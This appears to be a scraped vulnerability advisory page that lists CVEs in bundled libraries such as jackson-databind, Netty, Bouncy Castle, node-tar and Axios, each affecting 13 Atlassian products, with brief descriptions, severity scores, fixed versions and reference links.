Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Multiple vulnerabilities in jackson-databind, including a PolymorphicTypeValidator bypass via nested generic type parameters, along with issues in Keycloak SAML assertion validation and Oracle Utilities Application Framework denial of service, have been addressed in recent updates.
8.1 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
A vulnerability in jackson-databind's BasicPolymorphicTypeValidator.allowIfSubTypeIsArray() method improperly allows deserialization of unallowlisted array component types, enabling attackers to bypass type validation and execute arbitrary code, fixed in versions 2.18.8, 2.21.4, and 3.1.4.
8.1 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
React Router Framework Mode versions 7.0.0 to 7.17.0 and Remix 2.10.0 to 2.17.4 have a denial-of-service vulnerability via unauthenticated requests to the manifest endpoint, fixed in React Router 7.18.0, with no impact on Declarative or Data Mode applications.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Netty's SPDY SETTINGS decoder in versions prior to 4.1.136.Final and 4.2.16.Final lacks limits on SETTINGS entries, allowing remote attackers to send large frames that cause excessive memory and CPU usage, leading to denial of service.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Netty versions prior to 4.1.136.Final and 4.2.16.Final contain a vulnerability in SPDY header decoding where compressed headers inflate beyond maxHeaderSize, enabling denial of service via excessive CPU and memory consumption.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Netty versions 4.2.0.Final to 4.2.15.Final and 4.1.0.Final to 4.1.135.Final contain a memory leak in the SpdyHttpDecoder handler due to unreleased pooled ByteBufs when streams reset or content limits are exceeded, leading to potential native memory exhaustion and denial of service.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Netty versions 4.1.0.Final to 4.1.135.Final and 4.2.0.Final to 4.2.15.Final contain a vulnerability where unauthenticated remote attackers can cause memory leaks and JVM crashes via crafted HTTP/2 DATA frames when HTTP/2 content decompression is enabled.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Bouncy Castle for Java versions prior to 1.85, including certain LTS and FIPS releases, contains a quadratic-time escaping vulnerability when processing X.500 distinguished names during stringification.
CWE-407 - Inefficient Algorithmic ComplexityAffected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Bouncy Castle for Java versions prior to 1.85, including certain LTS and FIPS releases, contains a vulnerability where the HSS public-key level count is unbounded, potentially leading to excessive memory allocation during verification.
CWE-789 - Memory Allocation with Excessive Size ValueAffected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Bouncy Castle for Java versions prior to 1.85, including certain LTS and FIPS releases, contains a vulnerability where the CMS verifySignatures method erroneously returns true for SignedData objects with zero signers.
CWE-347 - Improper Verification of Cryptographic SignatureAffected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Bouncy Castle for Java versions prior to 1.85, including certain LTS and FIPS releases, contains a vulnerability where CMS AuthenticatedData content is not correctly bound to the MAC when authAttrs are present, potentially compromising data integrity.
CWE-354 - Improper Validation of Integrity Check ValueAffected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
js-yaml versions 3.0.0 to before 3.15.0 and 4.0.0 to before 4.3.0 suffer from a quadratic CPU time performance issue triggered by YAML documents with chained merge keys, leading to potential Denial of Service.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
node-tar versions prior to 7.5.18 contain a vulnerability where all-digit PAX path and linkpath values are incorrectly converted to numbers, causing uncaught TypeErrors and denial of service during archive extraction.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
node-tar versions prior to 7.5.19 contain a vulnerability where lack of limits on decompressed data and entry counts allows a crafted gzip bomb to exhaust disk space and CPU, causing a Denial of Service.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Node-tar versions prior to 7.5.18 contain a denial of service vulnerability where a checksum-valid tar archive with a negative base-256 encoded entry size causes an infinite loop during archive scanning.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
linkify-it versions prior to 5.0.2 contain a mailto: schema validator with a quadratic time complexity vulnerability causing high CPU usage and event loop blocking on crafted inputs, fixed in version 5.0.2.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Netty's Bzip2Decoder handler contains a logic flaw in its run-length encoding state machine that can be exploited by malformed compressed data to cause an infinite loop, resulting in denial-of-service and high CPU usage.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Axios's Node.js HTTP adapter is vulnerable to prototype pollution via request interceptors that revert hardened configurations, enabling attackers to route HTTP requests through malicious proxies and expose sensitive data, fixed in versions 0.33.0 and 1.18.0.
9.8 (Critical)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
The brace-expansion library's incomplete maxLength enforcement on intermediate arrays and padded sequences in versions prior to 1.1.18, 2.1.4, 3.0.6, and 5.0.9 allows denial of service via memory exhaustion or event loop blocking.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
The ip-address JavaScript library's Address4 component incorrectly parses IPv4 octets with leading zeros as decimal instead of octal, enabling SSRF bypasses and misclassification of internal addresses, fixed in version 10.3.1.
8.6 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
References
84 references
| URL | Category |
|---|---|
| https://confluence.atlassian.com/security/securit… | external |
| https://vulnerabilities.ncsc.nl/csaf/v2/2021/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2022/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2023/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2025/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
